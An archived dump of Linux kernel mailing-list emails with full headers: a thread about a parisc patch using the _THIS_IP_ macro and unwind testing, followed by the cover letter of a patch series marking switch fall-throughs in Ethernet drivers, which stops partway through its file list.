        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=SQEKNpO0hpT7bkNsy39qmGPaZqXhTg3NHgpJCyWd7t0=;
        b=ZcfD6f7BdM/tksL74g0Za+hpbGt8G21F8P5Zcq9nc/3NBEtc495sizZPhK76wqnjD9
         RC2E0Y0AZj4MJiKh7G27UCqo1QRHMf98m61SPghzRtyyZcc7XPjctvQb8i2EVT0Ie8lb
         eMbFKtdBD09Ebkbg6JX5M4Lynx4+1pesnLvWuMfgVkq7j8WSQIsmg5h7HH1KawUx/N98
         tGlBkrhQ2UAPTdyWBsICHZ3bfsrVAnWjNair833ijO2A6bCOmju59wlp+Xbm0qZRakv9
         /toZsipv73oo2cvNtVjDCC9rDkE66jbrKRqp7lLcU7Z6CNhupuUZF8sgcWTMAp9lUakO
         ErZQ==
X-Gm-Message-State: AOUpUlEe6eGaBXvnY89ukyoWsVQZiSKMSu9797Vh7JKslH5GmpvX0FEj
        8mJBFYLSe1RhpiHTrNz6f7nr02eIIj1098F9VTEugw==
X-Google-Smtp-Source: AAOMgpey35cl6cMf4yCA3y+Gq6NDuaPMBLFsaYyG6qDGU7IkL/AA4a/7OK6BXMNlkK2agTxgbUx/Lmt7wq4GZhhdpKg=
X-Received: by 2002:a17:902:6b0b:: with SMTP id o11-v6mr18646295plk.214.1533665527406;
 Tue, 07 Aug 2018 11:12:07 -0700 (PDT)
In-Reply-To: <1d577675-c337-d433-f235-1e46e5d56d4c@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2841584 gmane.linux.ports.parisc:28887
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2841584>

On Fri, Aug 3, 2018 at 3:34 PM Helge Deller <deller@gmx.de> wrote:
>
> On 03.08.2018 22:33, Nick Desaulniers wrote:
> > On Fri, Aug 3, 2018 at 12:09 PM John David Anglin <dave.anglin@bell.net> wrote:
> >>
> >> On 2018-08-03 2:11 PM, Nick Desaulniers wrote:
> >>> But the kernel uses the generic_THIS_IP_  *everywhere*, not parisc's
> >>> custom current_text_addr().  So if this did actually break unwinding,
> >>> you should have noticed by now.
> >> The unwind problem was noticed.
> >
> > So parisc is currently broken (doesn't unwind) due to the pervasive
> > use of _THIS_IP_ (generic C) throughout the kernel?
>
> I tested it on the 32bit kernel.
> The answer is: No. Unwinding works (with and without your patch).
>
> > If no, that implies this patch (generic C) causes no unwinding problems.
>
> correct.
>
> > If yes, that implies that the diff I posted later in this thread
> > (inline assembly) is preferable, and that parisc has bigger problems
> > (and probably needs to do rewrite the unwinding code to handle these
> > extra labels everywhere).
> >
> >> Patches were recently applied to gcc and binutils to try and fix it.
> >> The gcc patch moved
> >> branch tables to rodata so that the label at the head of the table
> >> wasn't in text.
> >>
> >> https://gcc.gnu.org/ml/gcc-patches/2018-07/msg01804.html
> >> https://sourceware.org/ml/binutils/2018-07/msg00474.html
> >>
> >> When I saw your suggested change, I realized there was another source of
> >> text labels
> >> that need linker relocations.
> >
> > Thank you for the links.
> >
> > On Fri, Aug 3, 2018 at 10:57 AM John David Anglin <dave.anglin@bell.net> wrote:
> >> The label breaks the unwind data, not the unwind code.  So, localizing
> >> the use of
> >> current_text_addr() to the parisc unwind code doesn't help.
> >
> > Have you confirmed that applying my patch breaks *the ability to
> > unwind correctly*?
>
> I tested your patch (on 32bit).
> Your patch does not break anything.
>
> > It looks like return_address() is used in
> > ftrace_return_address(), so I assume you can boot a kernel with my
> > patch applied, and CONFIG_FTRACE=y, then run:
> >
> > $ sudo trace-cmd record -p function date
> > $ trace-cmd report | grep date- | less
> >
> > and see if the stacks aren't unwound or look messed up.
>
> I faced issues with trace-cmd, but calling ftracing functions manually worked.
>
> So, your patch is basically OK and doesn't break anything.
> But I agree with Dave that Andrew, that THIS_IP is ugly.

I don't disagree, and other maintainers have remarked on _THIS_IP_
being ugly, but renaming it en masse is a tree wide change, which I'm
trying to avoid at the moment.

It sounds like we have a working patch? Are there 64b parisc machines
to test on, or can this get merged?
--
Thanks,
~Nick Desaulniers


From - Thu Nov 08 21:41:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement
 expressions
Date: Tue, 7 Aug 2018 22:30:53 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <74f19f24-fc6a-748d-3778-26ee0bfb2d40@gmx.de>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net>
 <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
 <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net>
 <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
 <54b2139b-53d2-01c5-f240-93a692cdbc59@bell.net>
 <CAKwvOdktvrZL8T_5K2VtQtgt_mscS7kzVXYVy0O7CSuGX53Y5A@mail.gmail.com>
 <536ef1b1-cfa2-f66d-4261-fb8405964632@bell.net>
 <CAKwvOdmwj76aESZNKhzfPmhfzGKvrfDut7oD5KAwA+VR-JukSg@mail.gmail.com>
 <80743c1c-2a8c-7bce-2068-24c63790eba7@bell.net>
 <CAKwvOdmDwO1U1sk=3-6zXFrVw6by1e_9VBx1WWMCx_rMqYSw-A@mail.gmail.com>
 <81a7e33a-0403-b6d4-fcba-c2168a608ba6@bell.net>
 <CAKwvOdmXi_EY5=sOO9tRqeoFrHjLsF9L988cGC2yjnFYBxac4w@mail.gmail.com>
 <1d577675-c337-d433-f235-1e46e5d56d4c@gmx.de>
 <CAKwvOdkABF9cxFxrtYo_mMWAunLL_ifM8+=H0On7WWcFmoN0Og@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1533673744 20323 195.159.176.226 (7 Aug 2018 20:29:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Aug 2018 20:29:04 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: dave.anglin@bell.net, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Pravin Shedge <pravin.shedge4linux@gmail.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
        Alistair Strachan <astrachan@google.com>
To: Nick Desaulniers <ndesaulniers@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 07 22:28:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fn8bC-00058Q-Ux
	for glk-linux-kernel-4@m.gmane.org; Tue, 07 Aug 2018 22:28:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726630AbeHGWrR (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 7 Aug 2018 18:47:17 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:59933 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1725740AbeHGWrQ (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 7 Aug 2018 18:47:16 -0400
Original-Received: from [192.168.43.192] ([80.187.96.219]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MV6PJ-1fQRnJ10dJ-00YQir; Tue, 07
 Aug 2018 22:30:56 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <CAKwvOdkABF9cxFxrtYo_mMWAunLL_ifM8+=H0On7WWcFmoN0Og@mail.gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K1:IDAD/mpQeWd2ZDgWu6mg3otvCVHlS0dpvJ1qsaK/Pjw3XV3pxTj
 bysp9Tn7LMLFBx9BPHiTKTRzWhrrYATysf24o1f7pcUjUFh5cPflKbq/AoKApM4LHW9C/i5
 XQkcSuJCaQfxpTj08hRwrrQpXdQUe8180p/Ii59fuhCQIq358OjIcKXFO5u9QuZs981DSPc
 4karmUGZ4e5qqiOfGJGXA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:LI9DoHClkUM=:aaTbW7BNUZU3IrdU9XeSGX
 aPT06Y738kyYmBFlrObBwbRUct13jcDd8A6WU33yRg++tOAZqPbvl2Bm3kHmwSYMi3kejIqDf
 4CErCdP3KuTzhzSK2s6H/6K8gNMMkvnsEoFC7xgnpFp8Ov9sAn4SC2GjlLaRGfkPC7lY0anTr
 +oFHlWUQCOtO9KG90KX6gGL0pa3NikPydplXQCvsVp6C9on9ajKmDHmw4U3dp+/RBmxnEIRiy
 05M5VSTpTfOCaEHbpx6IBgdzC5g0pzYIAib+eLr/ie/v3L/GlC/6mh+zKyZmCBnCwy1pZrNqG
 oEp5koQg2U6RXJ7JLbtKDb2RfWjgMMPssA0wg71pMglyoK/p5Tuy1nZkJsELZOf7qMu1mIigs
 gUVOuGmERDZi1yxioreLjXhhDGr6oJjVPeuxc25P9RM6QdRk3rCAFsb/qArqf0ntlnsZJ14aA
 U9G58xsJboeBD14iToI4xEULRhYGGc6lhKgC8rDnp8ahIrr5LNYBygteFStbS+JrqLsHJXoQ5
 U31DC8FvKo27k6BmlrRSol0i5M6hDWSg94odAynOtgSapc4DldpEzz0QbUn9MiCGX1Rrv3DBg
 utALR0l9ZwCf05Vo7bNBGXniszuGXeTjQa6luBO6Fga2c6hqcrUb/appxO56tLb+6xUsBJxnK
 NBAkExpDIMDpAEzOGX/anRcNla3ZKaCItqu1NWoqwEjqWcYQStw/chylc1MjQQk7LL963hFLN
 t/1B67O8Ym8Cr91jCOkOHo4kw2EmwVoI+sfZGxLYBI09o6dVN+Usq0379uzAvtqC05rlsqZS 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2841808 gmane.linux.ports.parisc:28888
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2841808>

On 07.08.2018 20:11, Nick Desaulniers wrote:
> On Fri, Aug 3, 2018 at 3:34 PM Helge Deller <deller@gmx.de> wrote:
>> So, your patch is basically OK and doesn't break anything.
>> But I agree with Dave and Andrew, that THIS_IP is ugly.
> 
> I don't disagree, and other maintainers have remarked on _THIS_IP_
> being ugly, but renaming it en masse is a tree wide change, which I'm
> trying to avoid at the moment.

Understandable.

> It sounds like we have a working patch? Are there 64b parisc machines
> to test on, or can this get merged?

Go ahead and merge it.

In addition, somehow I'd prefer if there would be a way to add to include/linux/kernel.h:
+#if !defined(_THIS_IP_)
#define _THIS_IP_  ({ __label__ __here; __here: (unsigned long)&&__here; })
+#endif

That way it would somehow be possible to replace that label calulation by the
preferable inline assembly of current_text_address()...

Helge


From - Thu Nov 08 21:41:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nick Desaulniers <ndesaulniers@google.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement expressions
Date: Tue, 7 Aug 2018 14:29:13 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <CAKwvOdmav51ye3Bx=hNuroOtXbZ_w1SbE6CEr47DdCF5TcLESQ@mail.gmail.com>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net> <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
 <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net> <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
 <54b2139b-53d2-01c5-f240-93a692cdbc59@bell.net> <CAKwvOdktvrZL8T_5K2VtQtgt_mscS7kzVXYVy0O7CSuGX53Y5A@mail.gmail.com>
 <536ef1b1-cfa2-f66d-4261-fb8405964632@bell.net> <CAKwvOdmwj76aESZNKhzfPmhfzGKvrfDut7oD5KAwA+VR-JukSg@mail.gmail.com>
 <80743c1c-2a8c-7bce-2068-24c63790eba7@bell.net> <CAKwvOdmDwO1U1sk=3-6zXFrVw6by1e_9VBx1WWMCx_rMqYSw-A@mail.gmail.com>
 <81a7e33a-0403-b6d4-fcba-c2168a608ba6@bell.net> <CAKwvOdmXi_EY5=sOO9tRqeoFrHjLsF9L988cGC2yjnFYBxac4w@mail.gmail.com>
 <1d577675-c337-d433-f235-1e46e5d56d4c@gmx.de> <CAKwvOdkABF9cxFxrtYo_mMWAunLL_ifM8+=H0On7WWcFmoN0Og@mail.gmail.com>
 <74f19f24-fc6a-748d-3778-26ee0bfb2d40@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1533677249 9537 195.159.176.226 (7 Aug 2018 21:27:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Aug 2018 21:27:29 +0000 (UTC)
Cc: dave.anglin@bell.net, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Pravin Shedge <pravin.shedge4linux@gmail.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
        Alistair Strachan <astrachan@google.com>
To: deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 07 23:27:24 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fn9Ve-0002G0-35
	for glk-linux-kernel-4@m.gmane.org; Tue, 07 Aug 2018 23:27:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726944AbeHGXpr (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 7 Aug 2018 19:45:47 -0400
Original-Received: from mail-pf1-f195.google.com ([209.85.210.195]:38223 "EHLO
        mail-pf1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726537AbeHGXpr (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 7 Aug 2018 19:45:47 -0400
Original-Received: by mail-pf1-f195.google.com with SMTP id x17-v6so51751pfh.5
        for <linux-kernel@vger.kernel.org>; Tue, 07 Aug 2018 14:29:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=oymKLON2R3fZZMXMf0R/WGj+kimwbWUeo/xpBRqBJh4=;
        b=SnK8J2ApnUJCy0uBMcx/AMdpR/t7HfiR9d6nqDLIl0QzpLm4l8livwWmkg19hwv9t7
         m4v0/yAMQ57I07W3eHSgNckW/D+kYWBYZQ7TX+GL2ojPaCPDo5Ay6MHG/pY2LMKNT8Tr
         2ILWQ2/BwBJGqbq5ND4jIAjPen9iH++nDEtM5AzIuIFirlEn71xfD3oI4T2GpU6c5sjr
         HBIX52A6j2XnHAZnQqIth+ksuoZY5U7nSjxDbgNcNpc33nMsrstq382MSONlQ0INLr4V
         HzNacpf2n3XKLVHk7cdalODIFjgIJ6Ei9G6R8d4HcLezcSjlPDvOHIMxGIFOaexO9jJh
         UkTQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=oymKLON2R3fZZMXMf0R/WGj+kimwbWUeo/xpBRqBJh4=;
        b=UzlwPUq8dMExcdZbFNs936IF+d/AfxMtO58zhbHOa7HPSO372Emyi1GcLQZa4PFugn
         9ozPDTE+0zMsgEsxaX3peenp9o8m5h0pkOgZYFJCk7h4fH6IHHsdJIu1F+4zERCpWsX4
         Q7u7xUCgd/Ijatu1EViHkEtKOuv8AitZiJlTRIZM+KedKc98wJwtGUhmxS+x65vcUFrU
         OlEKvJaMpeBraG9x/rqZbSbdrbhR7cjou6r+7n1xZXyTdyk8fL3iroepxAHthZqJqgZT
         irkScNVecb3uMilcYFzZaqpRlfzUAcNKFjCCXoeyU3kE9yOyI9iCvQ4YfjbgnzAUfuEe
         qsRQ==
X-Gm-Message-State: AOUpUlF4NgSCRq1WaK1D+W6ZQX3mN3/LrbyGJSpc5X9RPcXraHwYkjMf
        HXHDNVkv3fWriSahOrh7d3qJtkrg1s2yDJ06VHmNuA==
X-Google-Smtp-Source: AA+uWPyHOeuhCbKiqjvg7g88dxbXfULzUh3mH8zcpSrXsa560UtM8DHJb3EkmLyn0UG9kKxOizSS9eqyLAKBsQGztjs=
X-Received: by 2002:a63:9619:: with SMTP id c25-v6mr88285pge.75.1533677365118;
 Tue, 07 Aug 2018 14:29:25 -0700 (PDT)
In-Reply-To: <74f19f24-fc6a-748d-3778-26ee0bfb2d40@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2841869 gmane.linux.ports.parisc:28889
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2841869>

On Tue, Aug 7, 2018 at 1:30 PM Helge Deller <deller@gmx.de> wrote:
>
> On 07.08.2018 20:11, Nick Desaulniers wrote:
> > On Fri, Aug 3, 2018 at 3:34 PM Helge Deller <deller@gmx.de> wrote:
> >> So, your patch is basically OK and doesn't break anything.
> >> But I agree with Dave and Andrew, that THIS_IP is ugly.
> >
> > I don't disagree, and other maintainers have remarked on _THIS_IP_
> > being ugly, but renaming it en masse is a tree wide change, which I'm
> > trying to avoid at the moment.
>
> Understandable.
>
> > It sounds like we have a working patch? Are there 64b parisc machines
> > to test on, or can this get merged?
>
> Go ahead and merge it.

Thank you, but I was under the impression this would go up through the
parisc tree?
https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git/
right? Or is there a different tree/maintainer I should ask?

> In addition, somehow I'd prefer if there would be a way to add to include/linux/kernel.h:
> +#if !defined(_THIS_IP_)
> #define _THIS_IP_  ({ __label__ __here; __here: (unsigned long)&&__here; })
> +#endif
>
> That way it would somehow be possible to replace that label calulation by the
> preferable inline assembly of current_text_address()...

I'm asserting that there is no need within the entire kernel at the
moment to have inline assembly to get the instruction pointer.  If
there are no call sites of the inline assembly version, there is no
need to define per arch inline assembly versions when C (with GNU
extensions) will suffice.

And if in the future there are, either those call sites can have a
local implementation (as in the second diff I sent in this thread), or
some other change to _THIS_IP_ (as you propose) can be made.  But
until then...

YAGNI: "You Ain't Gonna Need It"

Once this patch and the other 3 outstanding ones are merged, we'll be
sending patches to delete all arch specific assembly implementations
as they will be dead code (no callers, kernel-wide).
-- 
Thanks,
~Nick Desaulniers


From - Thu Nov 08 21:41:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Gustavo A. R. Silva" <gustavo@embeddedor.com>
Newsgroups: gmane.linux.network,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.drivers.rdma
Subject: [PATCH 00/33] net: ethernet: Mark expected switch fall-throughs
Date: Tue, 7 Aug 2018 18:09:00 -0500
Lines: 82
Approved: news@gmane.org
Message-ID: <cover.1533675546.git.gustavo@embeddedor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1533683263 13579 195.159.176.226 (7 Aug 2018 23:07:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Aug 2018 23:07:43 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: Solarflare linux maintainers <linux-net-drivers@solarflare.com>,
        Edward Cree <ecree@solarflare.com>,
        Bert Kenward <bkenward@solarflare.com>,
        Jes Sorensen <jes@trained-monkey.org>, linux-acenic@sunsite.dk,
        Michael Chan <michael.chan@broadcom.com>,
        Nicolas Ferre <nicolas.ferre@microchip.com>,
        Derek Chickles <derek.chickles@caviumnetworks.com>,
        Satanand Burla <satananda.burla@caviumnetworks.com>,
        Felix Manlunas <felix.manlunas@caviumnetworks.com>,
        Raghu Vatsavayi <raghu.vatsavayi@caviumnetworks.com>,
        Ganesh Goudar <ganeshgr@chelsio.com>,
        Santosh Raspatur <santosh@chelsio.com>,
        Sunil Goutham <sgoutham@cavium.com>,
        Robert Richter <rric@kernel.org>,
        linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
        Sathya Perla <sathya.perla@broadcom.com>,
        Ajit K
To: "David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org,
        linux-kernel@vger.kernel.org,
        "Gustavo A. R. Silva" <gustavo@embeddedor.com>
Original-X-From: netdev-owner@vger.kernel.org Wed Aug 08 01:07:34 2018
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: gl-netdev-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1fnB4f-0002vb-Kf
	for gl-netdev-2@m.gmane.org; Wed, 08 Aug 2018 01:07:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727061AbeHHB0X (ORCPT <rfc822;gl-netdev-2@m.gmane.org>);
        Tue, 7 Aug 2018 21:26:23 -0400
Original-Received: from gateway34.websitewelcome.com ([192.185.148.119]:21188 "EHLO
        gateway34.websitewelcome.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1726625AbeHHB0W (ORCPT
        <rfc822;netdev@vger.kernel.org>); Tue, 7 Aug 2018 21:26:22 -0400
Original-Received: from cm10.websitewelcome.com (cm10.websitewelcome.com [100.42.49.4])
        by gateway34.websitewelcome.com (Postfix) with ESMTP id DE21036C7E4
        for <netdev@vger.kernel.org>; Tue,  7 Aug 2018 18:09:41 -0500 (CDT)
Original-Received: from gator4166.hostgator.com ([108.167.133.22])
        by cmsmtp with SMTP
        id nB6cfilrrBcCXnB6ffInyL; Tue, 07 Aug 2018 18:09:41 -0500
X-Authority-Reason: nr=8
Original-Received: from [189.250.73.102] (port=48018 helo=embeddedor)
        by gator4166.hostgator.com with esmtpa (Exim 4.91)
        (envelope-from <gustavo@embeddedor.com>)
        id 1fnB68-001oXX-0Q; Tue, 07 Aug 2018 18:09:04 -0500
Content-Disposition: inline
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - gator4166.hostgator.com
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - embeddedor.com
X-BWhitelist: no
X-Source-IP: 189.250.73.102
X-Source-L: No
X-Exim-ID: 1fnB68-001oXX-0Q
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-Source-Sender: (embeddedor) [189.250.73.102]:48018
X-Source-Auth: gustavo@embeddedor.com
X-Email-Count: 2
X-Source-Cap: Z3V6aWRpbmU7Z3V6aWRpbmU7Z2F0b3I0MTY2Lmhvc3RnYXRvci5jb20=
X-Local-Domain: yes
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:549212 gmane.linux.kernel:2841908 gmane.linux.ports.arm.kernel:668191 gmane.linux.ports.parisc:28890 gmane.linux.drivers.rdma:64024
Archived-At: <http://permalink.gmane.org/gmane.linux.network/549212>

Hi all,

In preparation to enabling -Wimplicit-fallthrough, this patchset aims
to add some annotations in order to mark switch cases where we are
expecting to fall through.

Thanks

Gustavo A. R. Silva (33):
  8390: axnet_cs: Mark expected switch fall-through
  alteon: acenic: mark expected switch fall-through
  bnx2x: Mark expected switch fall-thoughs
  net: macb: Mark expected switch fall-through
  liquidio: mark expected switch fall-through
  cxgb4/l2t: Mark expected switch fall-through
  cxgb4/t4_hw: mark expected switch fall-throughs
  cxgb3/l2t: Mark expected switch fall-through
  net: thunderx: mark expected switch fall-through
  net: tulip_core: mark expected switch fall-through
  net: tulip: de4x5: mark expected switch fall-throughs
  be2net: Mark expected switch fall-through
  net: hns: Mark expected switch fall-through
  net: hns3: Mark expected switch fall-through
  i40e_main: mark expected switch fall-through
  i40e_txrx: mark expected switch fall-through
  net/mlx4/mcg: Mark expected switch fall-throughs
  net/mlx4/en_rx: Mark expected switch fall-throughs
  igb_main: Mark expected switch fall-throughs
  igb: e1000_82575: Mark expected switch fall-through
  igb: e1000_phy: Mark expected switch fall-through
  igbvf: netdev: Mark expected switch fall-through
  vxge: Mark expected switch fall-throughs
  net/mlx5e: Mark expected switch fall-throughs
  qed: qed_dev: Mark expected switch fall-throughs
  netxen_nic: Mark expected switch fall-throughs
  qede: qede_fp: Mark expected switch fall-through
  qlcnic: Mark expected switch fall-througs
  qlge: mark expected switch fall-through
  net: ethernet: sxgbe: mark expected switch fall-throughs
  net: sfc: falcon: mark expected switch fall-through
  net: tlan: Mark expected switch fall-through
  net: ethernet: ti: cpts: mark expected switch fall-through

 drivers/net/ethernet/8390/axnet_cs.c                    | 1 +
 drivers/net/ethernet/alteon/acenic.c                    | 1 +
 drivers/net/ethernet/broadcom/bnxt/bnxt.c               | 2 +-
 drivers/net/ethernet/cadence/macb_ptp.c                 | 1 +
 drivers/net/ethernet/cavium/liquidio/lio_main.c         | 1 +
 drivers/net/ethernet/cavium/thunder/nicvf_ethtool.c     | 1 +
 drivers/net/ethernet/chelsio/cxgb3/l2t.c                | 1 +
 drivers/net/ethernet/chelsio/cxgb4/l2t.c                | 1 +
 drivers/net/ethernet/chelsio/cxgb4/t4_hw.c              | 3 +++
 drivers/net/ethernet/dec/tulip/de4x5.c                  | 6 ++++++
 drivers/net/ethernet/dec/tulip/tulip_core.c             | 1 +
 drivers/net/ethernet/emulex/benet/be_ethtool.c          | 1 +
 drivers/net/ethernet/hisilicon/hns/hns_ethtool.c        | 1 +
 drivers/net/ethernet/hisilicon/hns3/hns3_enet.c         | 1 +
 drivers/net/ethernet/intel/i40e/i40e_main.c             | 1 +
 drivers/net/ethernet/intel/i40e/i40e_txrx.c             | 3 ++-
 drivers/net/ethernet/intel/igb/e1000_82575.c            | 1 +
 drivers/net/ethernet/intel/igb/e1000_phy.c              | 1 +
 drivers/net/ethernet/intel/igb/igb_main.c               | 2 ++
